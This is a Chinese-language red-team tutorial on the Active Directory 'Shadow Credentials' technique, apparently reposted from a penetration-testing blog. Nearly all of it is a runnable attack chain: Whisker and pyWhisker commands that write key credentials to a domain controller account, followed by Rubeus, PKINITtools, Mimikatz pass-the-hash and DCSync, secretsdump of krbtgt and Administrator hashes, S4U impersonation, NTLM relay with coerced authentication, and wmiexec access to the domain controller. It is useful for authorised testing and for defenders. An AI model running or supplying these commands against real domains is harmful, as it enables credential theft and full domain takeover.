本文来源无问社区,更对实战内容,渗透思路可前往查看http://wwlib.cn/index.php/artread/artid/15293.html
Microsoft 推出了 Windows Hello 企业版 (WHfB),以使用基于密钥的信任模型替换传统的基于密码的身份验证。此实现使用链接到加密证书对的 PIN 或生物识别技术,以允许域上的用户访问资源。用户或计算机帐户可以具有多个密钥凭据,这些凭据可以对应于不同的设备。该信息存储在 msDS-KeyCredentialLink 活动目录属性中,并在 Windows Server 2016 和 Windows 10 1703 中引入。
与任何新技术或功能一样,引入了新的攻击面,可能会被滥用。在 Black Hat Europe 2019 期间,Michael Grafnetter 讨论了针对 Windows Hello 企业版的几种攻击,包括一种域持久性技术,该技术涉及修改目标计算机或用户帐户的 msDS-KeyCredentialLink 属性。使用公钥加密的攻击者可以修改具有权限的帐户的此属性,以获取票证授予票证 (TGT),这可能导致检索 NTLM 哈希。如果目标帐户的密码发生更改,则此属性不会受到影响,因此威胁参与者可以连续使用此技术来检索 NTLM 哈希或域管理员的票证授予服务票证。下图直观地显示了 Shadow Credentials 技术在实践中的步骤。
在 Active Directory 中修改此属性的权限具有属于以下组成员的帐户:
- 主要管理员
- 企业密钥管理员
或者,如果某个帐户遭到入侵,则如果某个帐户对 Active Directory 中的对象(计算机帐户或用户帐户)具有 GenericAll 或 GenericWrite 权限,则该帐户会影响计算机帐户,则可用于持久性或横向移动。
这两个权限都将继承对 msDS-KeyCredentialLink 属性的读取和写入权限,这是执行攻击所必需的。
Elad Shamir 发布了一个名为 Whisker 的工具,可以帮助红队在红队行动中使用这种技术。该工具将生成证书和非对称密钥,并将此信息存储在 msDS-KeyCredentialLink 属性中。生成的证书可以与 Rubeus 一起使用,以请求票证授予票证并进一步扩大攻击
Whisker.exe add /target:dc$ /domain:purple.lab /dc:dc.purple.lab
使用针对目标帐户的标志“list”来验证属性是否已更新。存储在 msDS-KeyCredentialLInk 属性中的信息包括:
- 用户 ID
- 公钥
- 设备 ID
- 上次登录时间
- 证明数据
但是,与它的 python 实现 pyWhisker 相比,该工具仅将这些结果限制为设备 ID 和上次登录时间,这在讨论非域加入系统技术的部分中进行了详细介绍。
Whisker.exe list /target:dc$ /domain:purple.lab /dc:dc.purple.lab
从 Active Directory 的角度来看,属性值的格式如下图所示。但是,无法使用 Microsoft 的 ADSI 编辑读取或修改此值。
其输出中的 Whisker 将提供 Rubeus 命令。使用该命令,可以使用基于证书的身份验证请求票证授予票证。
门票将以 base-64 格式收到。
票证将缓存在内存中,并且属于域控制器计算机帐户,因为这是目标帐户。计算机帐户的 NTLM 哈希也将显示在结果中,并可用于通过哈希攻击。在不同的情况下,红队操作员可以使用票证或哈希进行进一步的攻击,这些攻击可能导致使用 DCSync 转储 Active Directory 哈希,或者通过模拟域管理员帐户重新获得对域控制器和网络中其他敏感主机的访问权限。
Mimikatz 可用于对来自提升会话的帐户执行传递哈希攻击。执行以下命令将以 DC$ 帐户身份打开一个新会话。
privilege::debug
sekurlsa::pth /user:DC$ /domain:purple.lab /ntlm:5de006c3bf93d30195dff6fadd92a74c
在新会话中,可以再次执行 Mimikatz 以转储 Active Directory 帐户(如 krbtgt 帐户)的密码哈希。使用 krbtgt 帐户的 NTLM 哈希,可以创建黄金票证作为辅助域持久性方法。
lsadump::dcsync /domain:purple.lab /user:krbtgt
或者,属于 DC$ 帐户的票证可用于使用用户的 Kerberos 扩展服务为域管理员帐户请求服务票证。Rubeus 可以与 Kerberos 协议进行交互,使用属于 DC$ 计算机帐户的证书执行以下命令将获得域控制器 cifs 服务的票证。此票证将代表域管理员帐户请求。
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc.purple.lab /dc:dc.purple.lab /ptt /ticket:[Base64 TGT]
TGS 票证将被接收并缓存到内存中。应该注意的是,可以请求服务票证来访问域控制器外部的其他敏感主机,以便可以将信息过滤并正确使用到报告中。
由于服务票证存储在内存中,因此可以使用标准用户帐户从主机访问域控制器资源。
dir \\dc.purple.lab\c$
未加入域
如果域管理员帐户或具有所需权限的帐户的凭据是已知的,则也可以从未加入域的系统执行该技术。Charlie Bromberg 发布了 Whisker 的 python 实现,称为 pyWhisker,以帮助从未附加到域的主机进行操作。执行第一个命令将仅列出目标主机的设备 ID 和创建时间输出,该主机的 msDS-KeyCredentialLink 属性中已有一个密钥对,类似于该工具的 C# 实现。但是,该工具还可以使用具有相关设备 ID 的 info 标志打印 KeyCredential 结构中包含的所有信息。
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "list"
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "info" --device-id 730406d6-bcd3-4427-a14b-b0420924a149
执行以下命令将执行攻击,生成的证书将保存在本地。PFX 格式。使用该证书,可以检索计算机帐户或票证授予票证的 NTLM 哈希。
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "add" --filename dc
该证书可以与 Dirk-jan Mollema 的 PKINITtools 一起使用,以便向密钥分发中心 (KDC) 进行身份验证,并请求以 .ccache 格式保存的票证授予票证。
python3 gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass srjJXERibBHpBYIYKIeO purple.lab/dc$ dc$.ccache
可以使用“export”命令将票证缓存到当前会话中,并使用 AS-REP 加密密钥可以从 PAC 检索计算机帐户的 NTLM 哈希,类似于证书帐户持久性技术。
export KRB5CCNAME=/home/kali/PKINITtools/dc\$.ccache
python3 getnthash.py -key c1f6bf9a8a7daeaf5c9b68cab6609994b233fa9b3fc30de747f0950111e545c5 purple.lab/dc$
在 Windows 生态系统中,Mimikatz 可用于使用 DCSync 技术检索域哈希。在 Linux 环境中,来自 Impacket 套件的 secretsdump 可用于使用域控制器计算机帐户的哈希转储 krbtgt 帐户的哈希值。
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user krbtgt
通过检索域管理员帐户的密码哈希,然后使用通过 wmiexec python 工具传递哈希,重新建立与域控制器的访问也很简单。
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user Administrator
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
强制身份验证
影子凭证技术也已由 Charlie Bromberg 实现到 ntlmrelayx 的一个版本中。该攻击可以与强制身份验证(例如 PetitPotam、printerbug 或 ShadowCoerce)结合使用。
python3 ntlmrelayx.py -t ldap://ca --shadow-credentials --shadow-target 'dc$'
但是,使用强制身份验证方法执行该技术会受到限制,因为将身份验证从 SMB 中继到 LDAP 是不可行的。因此,除非首先在替代协议(如 HTTP)中继身份验证,然后中继回运行侦听器的主机,否则直接执行上述漏洞不应起作用。另一种方法是在具有修改 msDS-KeyCredentialLink 属性所需权限的帐户的上下文中使用 NCC Group 的 Change-Lockscreen 工具触发身份验证。
Change-Lockscreen.exe -Webdav \\kali1@80\
证书将以 PFX 格式提取,并带有随机密码字符串。这些可以与 gettgtpkinit python 工具一起使用,以请求 kerberos 票证授予票证。
python3 gettgtpkinit.py -cert-pfx ezlCyMJk.pfx -pfx-pass i0Oyg3xgWMCUKDmiB9yI purple.lab/dc$ p6nC1xBQ.ccache
可以使用导出命令和票证的路径将票证缓存到当前会话中。与本文前面的使用方式类似,可以使用 getnthash python 脚本从 PAC 检索 DC$ 帐户的 NTLM 哈希。
export KRB5CCNAME=/home/kali/PKINITtools/ezlCyMJk.ccache
python3 getnthash.py -key a52b696a23f6f838b45c475caeca7a118d7f5463af89bc4c8246d83fab1ea80e purple.lab/dc$
还可以使用 gets4uticket python 脚本向 Linux 主机请求服务票证。之前请求的缓存票证可用于执行 Kerberos 身份验证并请求 TGS 票证,该票证将通过模拟域管理员帐户以 .ccache 格式保存为 cifs 服务。服务票证可以缓存在内存中,并且由于票证属于域管理员帐户,因此可以使用具有 Kerberos 身份验证的 wmiexec 来访问域控制器。
python3 gets4uticket.py kerberos+ccache://purple.lab\\dc\$:ezlCyMJk.ccache@dc.purple.lab cifs/dc.purple.lab@purple.lab administrator@purple.lab admin.ccache -v
export KRB5CCNAME=/home/kali/PKINITtools/administrator_tgs.ccache
wmiexec.py -k -no-pass purple.lab/administrator@dc.purple.lab